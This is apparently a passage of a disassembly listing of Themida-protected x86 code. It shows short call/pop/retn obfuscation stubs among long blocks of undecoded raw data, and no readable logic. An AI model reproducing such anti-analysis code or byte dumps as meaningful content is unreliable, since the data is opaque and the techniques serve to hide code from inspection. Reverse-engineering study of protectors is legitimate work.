		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Ah
		inc	eax
		push	eax
		retn
sub_5C8517	endp

; ---------------------------------------------------------------------------
		mov	ebx, 0C8927E18h
		rol	dword ptr [ebx-7A762175h], cl
		lodsd
		adc	al, es:[esi]


loc_5C8536:				; CODE XREF: Themida_:005C8540j
		lodsd
		xor	eax, edx
		shr	eax, 1
		add	edx, eax
		sub	ecx, 4
		jnz	short loc_5C8536
		movzx	ebx, ax
		push	0
		push	eax
		call	sub_5C8550
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C8550	proc near		; CODE XREF: Themida_:005C8548p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Ah
		inc	eax
		push	eax
		retn
sub_5C8550	endp

; ---------------------------------------------------------------------------
		dd 0AB6A6A63h, 667CE3BAh, 0C2ABC381h, 2A0DB509h, 880D0612h
		dd 6A000000h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1D042444h, 47000000h, 0E11FC357h, 0B8F6FF06h, 2AE0D31h
		dd 0C890Fh, 800F0000h, 6, 8E0Fh, 958B0000h, 6122DCDh, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 18h, 39C35040h, 90A4B758h
		dd 61852952h, 5B061216h, 31BD8D8Bh, 0DA8B0612h,	8BC28B50h
		dd 8BC10318h, 0D1C18B18h, 8BC203E8h, 6A5818h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 47DE7DC3h
		dd 541A94C7h, 280D9D89h, 81660612h, 66487DEFh, 0BF51F88Bh
		dd 46AE4EC2h, 19BD835Bh, 61214h, 67840Fh, 1DBB0000h, 0B86655B5h
		dd 0
; ---------------------------------------------------------------------------
		push	0
		push	edx
		call	sub_5C864F
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C864F	proc near		; CODE XREF: Themida_:005C8647p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Ah
		inc	edx
		push	edx
		retn
sub_5C864F	endp

; ---------------------------------------------------------------------------
		db 79h
		dd 2EA8A3D5h, 81664840h, 0F4E87C3h, 178Ah, 0FE85300h, 0D0000000h
		dd 733332BCh, 25330CFBh, 299B5921h, 5B5BDFF3h, 429BD8Bh
		dd 8D8D0612h, 6124E4Bh,	8DB8166h, 8BE1FF85h, 122FEDBDh
		dd 11BD8306h, 61200h, 49A840Fh,	6A0000h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 190424h, 52420000h, 96CCCC3h
		dd 14DB1F9h, 12114195h,	3800F06h, 66000000h, 0BD83FA8Bh
		dd 6120011h, 78840F01h,	2B000004h, 1210659Dh, 11BD8306h
		dd 3061200h, 42F860Fh, 6A0000h,	3E851h,	59200000h, 4C8959C3h
		dd 44810424h, 1B0424h, 51410000h, 17A79BC3h, 0F779E638h
		dd 0F7816674h, 3604048h, 1221419Dh, 0D98C6606h,	0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 3AC35747h, 80D8BF0Fh
		dd 6A04E1h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h
		dd 56460000h, 845523C3h, 0C90A5DAAh, 1A8840Fh, 6A0000h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h
		dd 0E3B157C3h, 0D6F3EA3Dh, 0B9958960h, 8B06121Bh, 121709B5h
		dd 81666106h, 8BC51AF7h, 1224CD85h, 50006A06h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1904h,	0C3504000h, 0D351FAB9h
		dd 13E9505Ah, 0B3000000h, 0E1C5E5FDh, 0AF8EE42Ch, 2BDFE50Fh
		dd 44DEE88Bh, 0BD897122h, 61233F5h, 248D8533h, 6A0612h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 140424h, 50400000h
		dd 860F90C3h, 0
; ---------------------------------------------------------------------------
		mov	edi, [ebp+6120875h]
		nop
		mov	ebx, 319EF698h
		push	eax
		jmp	loc_5C883F
; ---------------------------------------------------------------------------
		dw 0D2B0h
		dd 0E3EC9401h, 2D4CC4CEh, 0AE84C9A7h
		db 0DBh, 0ACh, 51h
; ---------------------------------------------------------------------------


loc_5C883F:				; CODE XREF: Themida_:005C8829j
		nop
		add	di, 0B4Bh
		push	0
		push	0
		push	ebp
		call	sub_5C8852
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C8852	proc near		; CODE XREF: Themida_:005C884Ap

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 17h
		inc	ebp
		push	ebp
		retn
sub_5C8852	endp

; ---------------------------------------------------------------------------
		dw 149Fh
		dd 4E8D600h, 0FF000000h, 60001F03h, 0E8F38B66h,	13h, 56411DECh
		dd 11825318h, 3ECFFC22h, 0C74B40A7h, 5059B4D8h,	5A310F52h
		dd 50615F58h, 448B6160h, 0DA8B0424h, 7E8008Bh, 4F000000h
		dd 1C7B9926h, 0D98B9288h, 2444895Fh, 870F5604h,	5, 0F0B04EBBh
		dd 66585B76h, 0FF6830BFh, 12303195h, 50006A06h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1904h,	0C3504000h, 4D3EB516h
		dd 95898D7Eh, 6122785h,	0BD0C8589h, 6A0615h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 140424h, 53430000h, 8166FDC3h
		dd 0E9F7F0C3h, 1D5h, 1AB18529h,	858B0612h, 615BD04h, 0FE8h
		dd 0DA3CF900h, 85D9F132h, 4AEADA84h, 4E443A78h,	0C99D8B57h
		dd 5F061226h, 1800C75Fh, 6A000000h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1D042444h, 43000000h, 67C4C353h
		dd 0D98AD4AEh, 9DD7ECE8h, 0BD08B58Bh, 6A0615h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h
		dd 0DF91E7C3h, 0D4693A27h, 810FC42Fh, 6, 18099D8Bh, 4CBF0612h
		dd 8B666CBEh, 12239985h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1804h, 0C3564600h, 0BBF590Dh, 1A8A0FBFh
		dd 0E8000000h, 0Fh, 771B9590h, 0D9BFB729h, 2CD9968Bh, 66FD51FCh
		dd 1755CB81h, 1D9D8B5Bh, 89061217h, 52006A06h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1404h,	0C3524200h, 0CD858B9Eh
		dd 81061224h, 912841EFh, 446895Eh, 327DBD8Bh, 0BB960612h
		dd 20484662h, 64B4BB50h, 8B967D2Dh, 4B5FFFAh, 890615BDh
		dd 1212859Dh, 4E806h, 3FF0000h,	5250001Fh, 0DE9h, 0EEBABC00h
		dd 3E3F8488h, 23FD3917h, 310F0D62h, 10E9h, 0F83FEE00h
		dd 4B3878Bh, 6EC867CEh,	38179B8h, 50585A7Ah, 9E8h, 902C4D00h
		dd 4814C7C7h, 0E851C142h, 7, 2F17C4A7h,	5B3476E1h, 448B5B5Fh
		dd 0F98B0424h, 6660008Bh, 8961D88Bh, 60042444h,	13BA5B51h
		dd 61164569h, 0CD9D8B58h, 8B06121Fh, 0C858DDEh,	0F0615BDh
		dd 0BF50D8BFh, 370DDDA7h, 89240489h, 12236185h,	3195FF06h
		dd 0E9061230h, 0Bh, 0CC9857AFh,	0D50490F3h, 29ECC100h
		dd 122D55B5h, 810F6106h, 4, 677DBF66h, 1185C7h,	30612h
		dd 890F0000h, 6, 23D99D89h, 0BD830612h,	615BD0Ch, 0E840F00h
		dd 66000000h, 21E9D88Bh, 89000000h, 122121BDh, 0C305006h
		dd 11440011h, 10E8C101h, 2114430h, 3114C00h, 4E98358h
		dd 36EBE775h, 11043050h, 1116400h, 3010E8C1h, 21144h, 58031164h
		dd 7504E983h, 501BEBE7h, 2810E8C1h, 30031164h, 58021144h
		dd 1116428h, 83110430h,	0E77504E9h, 0C08B00EBh,	0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 0CC35646h, 6DC96EBBh
		dd 8B2265DBh, 1231C1BDh, 11BD8306h, 3061200h, 456850Fh
		dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h
		dd 55450000h, 0BE162C3h, 121DF1BDh, 99BD8B06h, 8306121Bh
		dd 15BD0CBDh, 840F0006h, 420h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Ch, 0ADC35646h,	40F4E831h, 993B2CDEh
		dd 0D88B6657h, 0CB5FF5Fh, 10615BDh, 12179DB5h, 2995FF06h
		dd 31061220h, 1212219Dh, 0B58B06h, 0F0615BDh, 6C7FBBFh
		dd 10001h, 1A69B501h, 66960612h, 5075C3BFh, 0DE8h, 42725400h
		dd 8AC75DD3h, 1649984Ah, 52505869h, 65CA5EBFh, 66310F3Bh
		dd 5AA6FCBBh, 6A965B58h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 18042444h, 47000000h, 1092C357h, 0E9C2979Ah
		dd 14h,	6BA8B6B4h, 0E887DA5Bh, 0DCBA1AFAh, 0CAE837D3h
		dd 4EDFE28Ch, 0BD0CB5FFh, 0FE8B0615h, 1AE195FFh, 6A0612h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h
		dd 0E63F7CC3h, 0DF8166C6h, 0B58B2296h, 615BD00h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Ah, 0C5C35040h, 0B719DCC8h
		dd 0DE8BFEAFh, 3039858Bh, 8B660612h, 89CDB7FEh,	0C486h
		dd 5B58900h, 8B061231h,	122DCD95h, 6E906h, 93E90000h, 0ED73CD3Ah
		dd 17870Fh, 0FE80000h, 6D000000h, 0C13D989Eh, 960EEB07h
		dd 0AF98D0A6h, 616001E9h, 4C2835Bh, 0E852006Ah,	3, 5AC35A20h
		dd 4245489h, 4244481h, 18h, 4C35242h, 20A38DCDh, 0AE8h
		dd 0EEE97200h, 22F619BDh, 5B1CE73Bh, 158531h, 50890612h
		dd 29F86020h, 122A198Dh, 858D6106h, 615D0EAh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 9CC35242h, 61C232C5h
		dd 8EE85B81h, 0FABF0FEBh, 0B88689h, 6A0000h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 180424h, 57470000h, 3E4F9AC3h
		dd 8B669327h, 1006AFBh,	122611B5h, 0CB5FF06h, 660615BDh
		dd 95FFD88Bh, 6122CD5h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 17h, 3C35141h, 89B32DA0h, 1228A18Dh, 0B5609606h
		dd 97BA664Bh, 8A50612Bh, 6A96DDh, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 170424h, 51410000h, 29F21CC3h, 1800FA4h
		dd 0F9000000h, 0BD0CB5FFh, 6A0615h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 685E42C3h
		dd 68EFC268h, 0FCC19C3h, 686h, 0BD952900h, 0FF06121Ch
		dd 122E2995h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1D04h, 0C3534300h, 6591CD40h, 2E28B5B0h, 0BF0F1AC0h
		dd 89BD83DFh, 61211h, 36840Fh, 0B70F0000h, 0DDB796DBh
		dd 0CE950h, 14F10000h, 0F7D59542h, 0E7E39300h, 6A9681F4h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 15042444h
		dd 46000000h, 4DB0C356h, 0BD0CB5FFh, 0DB810615h, 5F1517B1h
		dd 2AA595FFh, 6A0612h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 170424h, 56460000h, 29B9CC3h, 0CB5FFBBh, 6A0615BDh
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1B042444h
		dd 46000000h, 3FD4C356h, 0CB93A8CEh, 95FFD3F9h,	6121BB1h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 0ADC35040h
		dd 8BB3E298h, 1217499Dh, 41BD8306h, 206122Ah, 54840Fh
		dd 858B0000h, 61218A9h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 18h, 21C35343h, 7B00CFFEh,	1A69BD8Bh, 890F0612h
		dd 1, 0C6F5h, 0E851006Ah, 3, 59C35920h,	4244C89h, 4244481h
		dd 16h,	40C35141h, 85C77078h, 6120301h,	0
; ---------------------------------------------------------------------------
		push	0
		push	eax
		call	sub_5C8FF3
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C8FF3	proc near		; CODE XREF: Themida_:005C8FEBp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 16h
		inc	eax
		push	eax
		retn
sub_5C8FF3	endp

; ---------------------------------------------------------------------------
		db 81h
		dd 9D8B2AA4h, 6120329h,	0FFF2F3E9h, 52006AFFh, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1C04h,	0C3524200h, 8F2D8406h
		dd 4C8AF9A0h, 8BF8F9BBh, 8DF98AC1h, 12006585h, 998D2906h
		dd 50061215h, 48964B3h,	0DBBF0F24h, 6A006Ah, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1C0424h, 55450000h, 0CB7CFFC3h
		dd 30D942F0h, 0DE93357h, 3E000000h, 6F128CDAh, 770545CBh
		dd 8FC1F563h, 8589006Ah, 61217E1h, 0D737858Dh, 6A0616h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 180424h, 50400000h
		dd 0FEE3DCC3h, 8B663119h, 5C083DFh, 2A658D89h, 50900612h
		dd 15840Fh, 10E90000h, 98000000h, 3ED2A770h, 0AE380F4Ch
		dd 95337C87h, 90D5B97Ch, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 17h, 0C7C35646h, 8B59B4D8h, 6A006AD9h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1804h, 0C3554500h
		dd 281FF282h, 0A5BD2BB8h, 8906120Ch, 1228D9B5h,	5595FF06h
		dd 6A06120Bh, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1D042444h, 45000000h, 6FBAC355h, 0F6E41423h,	5C350607h
		dd 3810Fh, 0B70F0000h, 0DF8151D8h, 1280B399h, 0CA8D8D5Fh
		dd 6A06159Bh, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 18042444h, 42000000h, 5D52C352h, 0FA7DDB0h, 0D1FFDBBFh
		dd 0FEBF0F50h, 0E9BD835Fh, 106120Eh, 67850Fh, 6A0000h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h
		dd 6ACEDCC3h, 0C7816602h, 5090E69Eh, 205CE8BFh,	0EE9901Eh
		dd 93000000h, 0E033791Ah, 0FAB89965h, 6594684Ah, 0D595FF05h
		dd 6A06122Ch, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 14042444h, 45000000h, 2933C355h, 12296DB5h, 0D9AE906h
		dd 0E80000h, 5D000000h,	0D741ED81h, 6A0616h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 140424h, 50400000h, 8DFC6BC3h
		dd 15968F85h, 2830F06h,	8B000000h, 0BB6650D9h, 489FE9Eh
		dd 0CB816624h, 0FF647032h, 35h,	53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1B04h,	0C3534300h, 0A9BCFD88h
		dd 0A8F470AFh, 0CC4B45BFh, 890F5261h, 2, 645B6160h, 2589h
		dd 0BD8B0000h, 61213D5h, 123585FFh, 6A0612h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1D0424h, 51410000h, 0C3AEDCC3h
		dd 0C3FECD07h, 6A764C57h, 299D8BFFh, 0FF061217h, 1219B1B5h
		dd 12BF6606h, 7595FF00h, 0E9061214h, 136h, 11A1BD01h, 0B00612h
		dd 31EDBD29h, 70E60612h, 0EE9h,	16DC8F00h, 0FBA950A6h
		dd 1C7296B2h, 0E48F4FD1h, 0E6DB8171h, 3C4A26A6h, 3830F61h
		dd 0F000001h, 28Fh, 0FFE8B00h, 0B589C8B6h, 6121971h, 18BDBD8Bh
		dd 6BA0612h, 8B000000h,	122A55BDh, 0C1C18B06h, 565304E8h
		dd 5F5F5F57h, 2BE2F766h, 259D89C8h, 0B7061212h,	8AD18BDFh
		dd 0C0E9DAh, 0BD8B0000h, 6122A81h, 4858Bh, 0B70F0000h
		dd 83DA8BFEh, 12E907C0h, 0B2000000h, 39AB7FE8h,	0F73102A9h
		dd 1687B83Ch, 0C55B7CEFh, 0C08347h, 1D91BD89h, 0D03B0612h
		dd 15830Fh, 81660000h, 0E9C939D7h, 7Ah,	0C6E38166h, 0DDB529AAh
		dd 8B061215h, 0FFFFFF8Dh, 6840FFFh, 8B000000h, 122CFDBDh
		dd 1E18306h, 54840Fh, 0F3810000h, 48DDFD90h, 0FE8h, 8222500h
		dd 4FEE4B19h, 27411CC2h, 3C5482FCh, 11E9h, 59B84E00h, 6AAEE5BCh
		dd 0D6BEAFF7h, 5648683Eh, 835F4281h, 0FFFFFFA5h, 9D8BFEFFh
		dd 6120799h, 49589h, 0D7810000h, 7E4F3F60h, 23CF8166h
		dd 0E982h, 0B58D0000h, 6165584h, 17A1BD8Bh, 6A0612h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 0F3C35141h, 0C9E68870h
		dd 0DB80B3D5h, 0D195FF88h, 6A061229h, 3E85600h,	20000000h
		dd 895EC35Eh, 81042474h, 1A042444h, 46000000h, 0FDD8C356h
		dd 383EA6CCh, 0CE977h, 0F5FE0000h, 3E133BFEh, 2742BE83h
		dd 8FB9A3A7h, 6600000Eh, 81D4A0BBh, 0AD0588EBh,	0FCE1837Eh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 0A7C35141h
		dd 0A8277DDFh, 891C7CA2h, 12001585h, 0BD8BFC06h, 6122B1Dh
		dd 6AC02Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h
		dd 52420000h, 181D6DC3h, 2BEA9240h, 52006AD2h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1504h,	0C3524200h, 850FC3A2h
		dd 2, 33ADFD8Ah, 3E8D1C2h, 4E983D0h, 6AF475h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 150424h, 56460000h, 0E98694C3h
		dd 0Ch,	8F98B052h, 0C6EAAE65h, 0DCE0F448h, 6AFBB70Fh, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1A042444h, 42000000h
		dd 8D7BC352h, 511AFB11h, 0FCBB66F3h, 880D10h, 6A0000h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h, 55450000h
		dd 0C04D9C3h, 0C63ABB66h, 2DCD958Bh, 6A0612h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 170424h, 57470000h, 650F2FC3h
		dd 8BB1B72Eh, 1231BD8Dh, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1A04h, 0C3554500h, 0DB904F4h, 50949DA6h
		dd 188BC28Bh, 188BC103h, 0E8D1C18Bh, 188BC203h,	0EB816658h
		dd 8A0F67CEh, 3, 83FEBF0Fh, 121419BDh, 840F0006h, 8Eh
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 29C35747h
		dd 0B83Bh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 180424h, 53430000h, 7E9903C3h, 81667C21h, 0E814C4E3h
		dd 0Bh,	2ABD262h, 5B0D8C2Bh, 2379FC14h,	1224D5BDh, 95895F06h
		dd 61231C9h, 4E4B8D8Dh,	6A0612h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 140424h, 55450000h, 0E1FFB7C3h, 1B8DBD8Bh
		dd 0BD830612h, 6120011h, 94840F00h, 89000003h, 1223A185h
		dd 11BD8306h, 1061200h,	39C840Fh, 81660000h, 83DA01CBh
		dd 120011BDh, 860F0306h, 354h, 0CE80FC60h, 6A60611Ch, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h
		dd 0BC7DC352h, 50BC9E29h, 0FE9h, 0B116C100h, 13A84EECh
		dd 13A289B5h, 8D5D1177h, 0D98C665Bh, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Ah, 74C35040h, 5BC362B1h, 95890832h
		dd 6123105h, 6A04E180h,	3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1D042444h, 43000000h, 58D2C353h, 0D4974C26h
		dd 0D38B448Dh, 15858952h, 5B06122Fh, 840FC90Ah,	0E8h, 20F59D29h
		dd 858B0612h, 61224CDh,	2C899D0Bh, 85330612h, 612248Dh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 0C35040h
		dd 0BBE30789h, 11665FF9h, 0FE8B6650h, 80240489h, 6A1BCBh
		dd 0EC68FA8Bh, 504D1C38h, 13E952h, 0E4D90000h, 4AEECC25h
		dd 3AFBF184h, 81B21CE5h, 6707CD86h, 5A310FBBh, 24348158h
		dd 4D033B13h, 89D78166h, 3195FF93h, 8B061230h, 1228BD9Dh
		dd 0C858906h
		dd 6A0615BDh, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 15042444h, 41000000h, 0E8FBC351h, 6850Fh, 9D8B0000h
		dd 612154Dh, 2E959589h,	8BE90612h, 6A000001h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1C042444h, 45000000h
		dd 6E1FC355h, 0F7EBFE25h, 0B372F3C6h, 0FFBF0F87h, 0BD04858Bh
		dd 95890615h, 61210EDh,	1800C7h, 6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 150424h, 53430000h, 8B766AC3h
		dd 15BD08B5h, 27BB6606h, 99858B67h, 89061223h, 12170DB5h
		dd 0F068906h, 581h, 0C5ABF00h, 800F214Ch, 6, 32B98D89h
		dd 858B0612h, 61224CDh,	0CE9h, 1731A200h, 0D7327812h, 6DE9F353h
		dd 44689FBh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Bh,	0B9C35141h, 0BF82E93Eh,	5065E7FAh, 0E58BB66h, 89243489h
		dd 12156185h, 4B5FF06h,	660615BDh, 0B589DA8Bh, 61221F9h
		dd 0CE63AB68h, 81DA8BDFh, 0A0542404h, 6A2050h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h
		dd 0E271CFC3h, 607C7D52h, 1D818D8Bh, 81610612h,	0DEB77CF7h
		dd 0C858D44h, 6A0615BDh, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1A042444h, 42000000h, 7127C352h, 72C3EBCAh
		dd 41BD89C7h, 5006122Dh, 0FE8h,	0FAE46800h, 50BA26DEh
		dd 85232E9Dh, 0B1A486F6h, 2404895Bh, 0FFE0C380h, 12303195h
		dd 55006A06h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1504h
		dd 0C3554500h, 6A61CC27h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 17042444h, 45000000h, 559BC355h, 0E8BB6C4Ch
		dd 0C75D901Ch, 12001185h, 306h,	51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1604h,	0C3514100h, 564313CEh
		dd 2D4C381h, 835F5DDBh,	15BD0CBDh, 840F0006h, 8, 0E966EF80h
		dd 1Bh,	110C3050h, 1114400h, 3010E8C1h,	21144h,	5803114Ch
		dd 7504E983h, 5036EBE7h, 110430h, 0C1011164h, 443010E8h
		dd 64000211h, 83580311h, 0E77504E9h, 0C1501BEBh, 642810E8h
		dd 44300311h, 28580211h, 30011164h, 0E9831104h,	0EBE77504h
		dd 0FC08B00h, 8Fh, 38C0F00h, 0F000000h,	0BD83DFB7h, 6120011h
		dd 0F9850F03h, 89000004h, 121D3585h, 13E906h, 5E2F0000h
		dd 4FDB5F33h, 9A28E1E9h, 0F059F43Fh, 98544E20h,	0CBD8323h
		dd 615BDh, 4CE840Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1A0424h, 51410000h, 0FBA081C3h, 0FC21FE3Bh
		dd 19CD9D8Bh, 0B5FF0612h, 615BD0Ch, 0E853006Ah,	3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Bh, 81C35343h, 0EEB14879h, 8B88F2D5h
		dd 12283DBDh, 2995FF06h, 6A061220h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1B042444h, 41000000h, 549EC351h
		dd 42809728h, 9509A9C9h, 61233A9h, 0BD00B58Bh, 0BD8B0615h
		dd 6123395h, 106C7h, 0B5890001h, 61226C9h, 11E996h, 21B20000h
		dd 0D9ED04E8h, 0C6393E89h, 0B58EDDDh, 508BF256h, 5D752DBFh
		dd 6A964Fh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h
		dd 51410000h, 0DB8B2CC3h, 0FE992EBh, 0FE000000h, 443D2D32h
		dd 8C4AE6BBh, 227D9062h, 9D8B0630h, 6121F6Dh, 0BD0CB5FFh
		dd 0FE80615h, 0B7000000h, 0A7759866h, 0F0E03841h, 3B755481h
		dd 0BD89A320h, 6121EDDh, 0E195FF5Fh, 6A06121Ah,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h
		dd 212EC350h, 6417038Ch, 1720AF19h, 2CFDBD23h, 0B58B0612h
		dd 615BD00h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 14h,	37C35747h, 27E58531h, 8D890612h, 61228C9h, 3039858Bh
		dd 6A0612h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h
		dd 55450000h, 412A99C3h, 9BE009A5h, 0F9928106h,	0C48689h
		dd 81660000h, 51D114EFh, 1A959D89h, 8B5B0612h, 122DCD95h
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1B04h
		dd 0C3534300h, 0EFA66F77h, 3737B8CCh, 0F1DBF66h, 0EA53F381h
		dd 0C28342EAh, 0E9BD8904h, 89061212h, 6A2050h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h
		dd 2018FDC3h, 0B6D40AA6h, 858D2D08h, 615D0EAh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 14h, 4AC35242h, 0B88689h
		dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h
		dd 51410000h, 0D9059FC3h, 0A49C36F1h, 0FB8BFFE7h, 8D0F006Ah
		dd 5, 0F4E591BFh, 0CB5FF26h, 6A0615BDh,	3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1B042444h, 46000000h, 3DC356h
		dd 0C3B78D99h, 0B6BB0DDEh, 0BF59D200h, 3DAFBF2Fh, 2CD595FFh
		dd 6A0612h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h
		dd 52420000h, 75A2E3C3h, 92C5BCB9h, 0BB66833Dh,	8166C7C1h
		dd 504B64F7h, 0E8243489h, 0Ah, 0CA208CF0h, 48E2B74h, 0AE9A6BBh
		dd 0A1000000h, 0FECFBC3Bh, 16C14A6Dh, 870F5FB1h, 0Ch, 6850Fh
		dd 0BD8B0000h, 6120785h, 0BD0CB5FFh, 9D8B0615h,	612334Dh
		dd 2E2995FFh, 6A0612h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 150424h, 57470000h, 0E84725C3h, 0Ch,	60A8B530h, 0EA63B6B1h
		dd 8E22FBB9h, 8E9h, 29E37D00h, 7A45DE4Bh, 0BD835F66h, 6121189h
		dd 59840F00h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1B042444h, 47000000h, 61DFC357h, 0D8111874h
		dd 8950F3CEh, 6A2434h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1B0424h, 55450000h, 2AFCBC3h, 8EDED207h, 7E96041h, 0AB000000h
		dd 0A0759392h, 61F9C1AFh, 0BD0CB5FFh, 9D8B0615h, 612257Dh
		dd 2AA595FFh, 6A0612h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1D0424h, 51410000h, 16A4EDC3h, 0DEEDB39Eh, 0FF958D37h
		dd 15BD0CB5h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1804h, 0C3534300h, 0CB667826h, 0D99531C2h, 56061223h
		dd 5BD88B66h, 1BB195FFh, 81660612h, 83F005D3h, 122A41BDh
		dd 840F0206h, 7Fh, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Ch, 50C35747h, 5EC271AFh,	0EC553BE8h, 16DDBD89h
		dd 858B0612h, 61218A9h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 18h, 0F2C35646h, 0D1E09FA3h, 0C6D8BF0Fh, 6A0000h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h
		dd 525B23C3h, 81BAB11Ch, 359D0BFCh, 0C706121Eh,	12030185h
		dd 6, 0F8BF0F00h, 0FFF32EE9h, 0C5BD0BFFh, 0BB061223h, 62A54F33h
		dd 0BD8BC18Bh, 6122AEDh, 65858Dh, 0F98B0612h, 89DE8B50h
